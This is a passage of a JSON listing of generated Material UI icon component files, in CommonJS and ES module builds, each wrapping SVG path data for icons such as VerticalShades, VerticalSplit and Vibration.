    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h3v10h2V11h3l-4-4zM4 3v2h16V3z\"\n}), 'VerticalAlignTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h16v2H4zm4 8h3v10h2V11h3l-4-4z\"\n}), 'VerticalAlignTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h16v2H4zm4 8h3v10h2V11h3l-4-4z\"\n}), 'VerticalAlignTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShades.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-10 0V5h4v14z\"\n}), 'VerticalShades');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShades.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-10 0V5h4v14z\"\n}), 'VerticalShades');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM13 5h1.5v14H13zm-2 14H9.5V5H11zM6 5h1.5v14H6zm10.5 14V5H18v14z\"\n}), 'VerticalShadesClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 5H11v14H9.5zM6 5h1.5v14H6zm7 0h1.5v14H13zm3.5 0H18v14h-1.5z\",\n  opacity: \".2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM7.5 19H6V5h1.5zm3.5 0H9.5V5H11zm3.5 0H13V5h1.5zm3.5 0h-1.5V5H18z\"\n}, \"1\")], 'VerticalShadesClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesClosedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 5H11v14H9.5zM6 5h1.5v14H6zm7 0h1.5v14H13zm3.5 0H18v14h-1.5z\",\n  opacity: \".2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM7.5 19H6V5h1.5zm3.5 0H9.5V5H11zm3.5 0H13V5h1.5zm3.5 0h-1.5V5H18z\"\n}, \"1\")], 'VerticalShadesClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM14 5v14h-4V5zM6 5h2v14H6zm10 14V5h2v14z\"\n}), 'VerticalShadesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM14 5v14h-4V5zM6 5h2v14H6zm10 14V5h2v14z\"\n}), 'VerticalShadesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zm-10 0V5h4v14z\"\n}), 'VerticalShadesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zm-10 0V5h4v14z\"\n}), 'VerticalShadesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-10 0V5h4v14z\"\n}), 'VerticalShadesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-10 0V5h4v14z\"\n}), 'VerticalShadesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5h2v14H6zm10 0h2v14h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM8 19H6V5h2zm6 0h-4V5h4zm4 0h-2V5h2z\"\n}, \"1\")], 'VerticalShadesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalShadesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5h2v14H6zm10 0h2v14h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM8 19H6V5h2zm6 0h-4V5h4zm4 0h-2V5h2z\"\n}, \"1\")], 'VerticalShadesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h8v-2H3zm0 4h8v-2H3zm0-8h8V9H3zm0-6v2h8V5zm10 0h8v14h-8z\"\n}), 'VerticalSplit');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h8v-2H3zm0 4h8v-2H3zm0-8h8V9H3zm0-6v2h8V5zm10 0h8v14h-8z\"\n}), 'VerticalSplit');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h8v2H3zm0 4h8v2H3zm0-8h8v2H3zm0-4h8v2H3zm16 2v10h-4V7zm2-2h-8v14h8z\"\n}), 'VerticalSplitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h8v2H3zm0 4h8v2H3zm0-8h8v2H3zm0-4h8v2H3zm16 2v10h-4V7zm2-2h-8v14h8z\"\n}), 'VerticalSplitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0 4h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-8h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m11-1h6c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1h-6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1\"\n}), 'VerticalSplitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0 4h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-8h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m11-1h6c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1h-6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1\"\n}), 'VerticalSplitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h8v-2H3zm0 4h8v-2H3zm0-8h8V9H3zm0-6v2h8V5zm10 0h8v14h-8z\"\n}), 'VerticalSplitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h8v-2H3zm0 4h8v-2H3zm0-8h8V9H3zm0-6v2h8V5zm10 0h8v14h-8z\"\n}), 'VerticalSplitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7h4v10h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h8v2H3zm0 4h8v2H3zm0-8h8v2H3zm0-4h8v2H3zm10 0v14h8V5zm6 12h-4V7h4z\"\n}, \"1\")], 'VerticalSplitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalSplitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7h4v10h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h8v2H3zm0 4h8v2H3zm0-8h8v2H3zm0-4h8v2H3zm10 0v14h8V5zm6 12h-4V7h4z\"\n}, \"1\")], 'VerticalSplitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vibration.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M0 15h2V9H0zm3 2h2V7H3zm19-8v6h2V9zm-3 8h2V7h-2zM16.5 3h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8z\"\n}), 'Vibration');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vibration.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M0 15h2V9H0zm3 2h2V7H3zm19-8v6h2V9zm-3 8h2V7h-2zM16.5 3h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8z\"\n}), 'Vibration');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M0 15h2V9H0zm3 2h2V7H3zm19-8v6h2V9zm-3 8h2V7h-2zM16.5 3h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8z\"\n}), 'VibrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M0 15h2V9H0zm3 2h2V7H3zm19-8v6h2V9zm-3 8h2V7h-2zM16.5 3h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8z\"\n}), 'VibrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 15c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1m3 2c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1m18-7v4c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1m-2 7c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1M16.5 3h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8z\"\n}), 'VibrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 15c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1m3 2c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1m18-7v4c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1m-2 7c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1M16.5 3h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8z\"\n}), 'VibrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M0 15h2V9H0zm3 2h2V7H3zm19-8v6h2V9zm-3 8h2V7h-2zM18 3H6v18h12zm-2 16H8V5h8z\"\n}), 'VibrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M0 15h2V9H0zm3 2h2V7H3zm19-8v6h2V9zm-3 8h2V7h-2zM18 3H6v18h12zm-2 16H8V5h8z\"\n}), 'VibrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5h8v14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h2v10h-2zm3 2h2v6h-2zM0 9h2v6H0zm16.5-6h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8zM3 7h2v10H3z\"\n}, \"1\")], 'VibrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VibrationTwoTone.mjs",
